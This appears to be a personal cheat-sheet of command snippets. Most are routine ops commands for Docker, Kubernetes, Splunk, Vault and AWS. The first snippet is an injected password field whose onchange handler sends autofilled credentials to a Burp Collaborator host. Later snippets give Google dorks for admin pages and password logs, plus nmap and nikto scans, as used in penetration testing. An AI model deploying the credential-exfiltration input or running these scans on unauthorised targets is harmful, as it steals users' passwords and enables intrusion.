kibelous

// if users use password managers to autofill credentials
<input name='username' id='username'>
<input type='password' name='password' onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

kibelous

# Remove dangling unused images
docker rmi $(docker images --filter "dangling=true" -q --no-trunc)

kibelous

# Searching vulnerability by CVE in BugTraq
site:www.securityfocus.com intext:CVE-2020-7059
# Other
site:.domain.com allintext:(root|admin|password)
site:.domain.com intitle:(admin|login|internal)
site:.domain.com inurl:(admin|login|logout|crm|cms)
site:.domain.com "powered by"
site:.domain.com filetype:pdf
site:.domain.com allintext:password filetype:log after:2019

kibelous

# MAin Splunk dir
cd /Applications/Splunk/bin
# Main URL
http://localhost:8000
# Start Splunk ES instance
./splunk start
# Stop Splunk ES instance
./splunk stop

kibelous

# Rolling restart of a POD deployment
kubectl rollout restart deployment <deployment_name>

kibelous

# Host Discovery
nmap -v -sn -PE <target-CIDR> | awk '/Nmap scan/{gsub(/[()]/,"",$NF); print $NF > "nmap_scanned_ips"}'

# Aggressive scan
nmap -v -Pn -sS -A -p- -T4 --min-rate 100 -iL nmap_scanned_ips -oX nmap_synscan.xml

# Generate HTML report
xsltproc nmap_synscan.xml -o synscan.html

# Detection of service version

kibelous

# Basic usage
docker run --rm nikto -h http://www.example.com
# To save the report in a specific format, mount /tmp as a volume:
docker run --rm -v $(pwd):/tmp nikto -h http://www.example.com -o /tmp/out.json

kibelous

export VAULT_CACERT=/etc/vault.d/ssl/root_CA.crt
sudo -E vault [command]

kibelous

clear && echo '' && date -u '+%c %z' && echo '\nAWS - EC2 Instances\n' && aws ec2 describe-regions --query "Regions[].[RegionName]" --out text | xargs -I {} aws ec2 describe-instances --query "Reservations[].Instances[].[PrivateIpAddress,[Tags[?Key=='Name'].Value][0][0],PublicIpAddress,Placement.AvailabilityZone,LaunchTime,State.Name]" --region {} --output text | sed -E 's/[[:space:]]+/,/g' && echo '\nAWS - ELB Instances\n' && aws ec2 describe-regions --query "Regions[].[RegionName]" --out text | xargs -I {} aws elb describe-load-balancers --query "LoadBalancerDescriptions[].[DNSName,LoadBalancerName,AvailabilityZones[],CreatedTime]" --region {} --out text | sed -E 's/[[:space:]]+/,/g' | tee /dev/tty | cut -d ',' -f1 | xargs -I {} host {} | grep -v "not found"

kibelous

grep -i "install\|installed\|half-installed" /var/log/dpkg.log | grep <package-name>